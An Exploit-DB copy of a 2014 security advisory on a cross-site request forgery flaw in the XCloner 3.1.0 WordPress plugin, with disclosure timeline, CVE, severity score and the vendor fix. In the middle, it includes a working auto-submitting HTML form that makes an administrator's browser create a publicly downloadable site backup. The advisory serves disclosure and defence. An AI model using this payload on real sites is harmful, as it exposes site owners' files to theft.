Exploit-DB #32701
Description: WordPress Plugin XCloner 3.1.0 - Cross-Site Request Forgery
Type: webapps
Platform: php
Date: 2014-04-04
Author: High-Tech Bridge SA

Exploit:
Advisory ID: HTB23206
Product: XCloner Wordpress plugin
Vendor: XCloner
Vulnerable Version(s): 3.1.0 and probably prior
Tested Version: 3.1.0
Advisory Publication:  March 12, 2014  [without technical details]
Vendor Notification: March 12, 2014 
Vendor Patch: March 13, 2014 
Public Disclosure: April 2, 2014 
Vulnerability Type: Cross-Site Request Forgery [CWE-352]
CVE Reference: CVE-2014-2340
Risk Level: Low 
CVSSv2 Base Score: 2.6 (AV:N/AC:H/Au:N/C:P/I:N/A:N)
Solution Status: Fixed by Vendor
Discovered and Provided: High-Tech Bridge Security Research Lab ( https://www.htbridge.com/advisory/ ) 

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Advisory Details:

High-Tech Bridge Security Research Lab discovered vulnerability in XCloner Wordpress plugin, which can be exploited to perform a CSRF attack and gain access to a backed-up copy of vulnerable website.


Сross-Site Request Forgery (CSRF) in XCloner Wordpress Plugin: CVE-2014-2340

The vulnerability exists due to insufficient verification of HTTP request origin. A remote attacker can trick a logged-in administrator to visit a specially crafted webpage and create a website backup.

Simple exploit code below will create new backup with all website files (no SQL database), which will be publicly accessible on the http://[host]/administrator/backups/backup.tar URL: 


<form action="http://[host]/wp-admin/plugins.php?page=xcloner_show&option=com_cloner&task=confirm" method="post" name="main">
<input type="hidden" name="dbbackup" value="1">
<input type="hidden" name="dbbackup_comp" value="">
<input type="hidden" name="bname" value="backup">
<input type="hidden" name="backupComments" value="">
<input type="hidden" name="option" value="com_cloner">
<input type="hidden" name="task" value="generate">
<input type="hidden" name="boxchecked" value="0">
<input type="hidden" name="hidemainmenu" value="0">
<input type="hidden" name="" value="">
<input type="submit" name="run" value="run">
</form>
<script>
document.main.submit();
</script>


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Solution:

Update to XCloner 3.1.1

More Information:
http://www.xcloner.com/support/download/?did=9

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References:

[1] High-Tech Bridge Advisory HTB23206 - https://www.htbridge.com/advisory/HTB23206 - Сross-Site Request Forgery (CSRF) in XCloner Wordpress Plugin.
[2] XCloner Wordpress plugin - http://www.xcloner.com - XCloner is a professional website Backup and Restore application designed to allow you to create safe complete backups of any PHP/Mysql website and to be able to restore them anywhere. It works as a native Joomla backup component, as a native Wordpress backup plugin and also as standalone PHP/Mysql backup application.
[3] Common Vulnerabilities and Exposures (CVE) - http://cve.mitre.org/ - international in scope and free for public use, CVE® is a dictionary of publicly known information security vulnerabilities and exposures.
[4] Common Weakness Enumeration (CWE) - http://cwe.mitre.org - targeted to developers and security practitioners, CWE is a formal list of software weakness types.
[5] ImmuniWeb® - https://portal.htbridge.com/ - is High-Tech Bridge's proprietary web application security assessment solution with SaaS delivery model that combines manual and automated vulnerability testing.

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Disclaimer: The information provided in this Advisory is provided "as is" and without any warranty of any kind. Details of this Advisory may be updated in order to provide as accurate information as possible. The latest version of the Advisory is available on web page [1] in the References.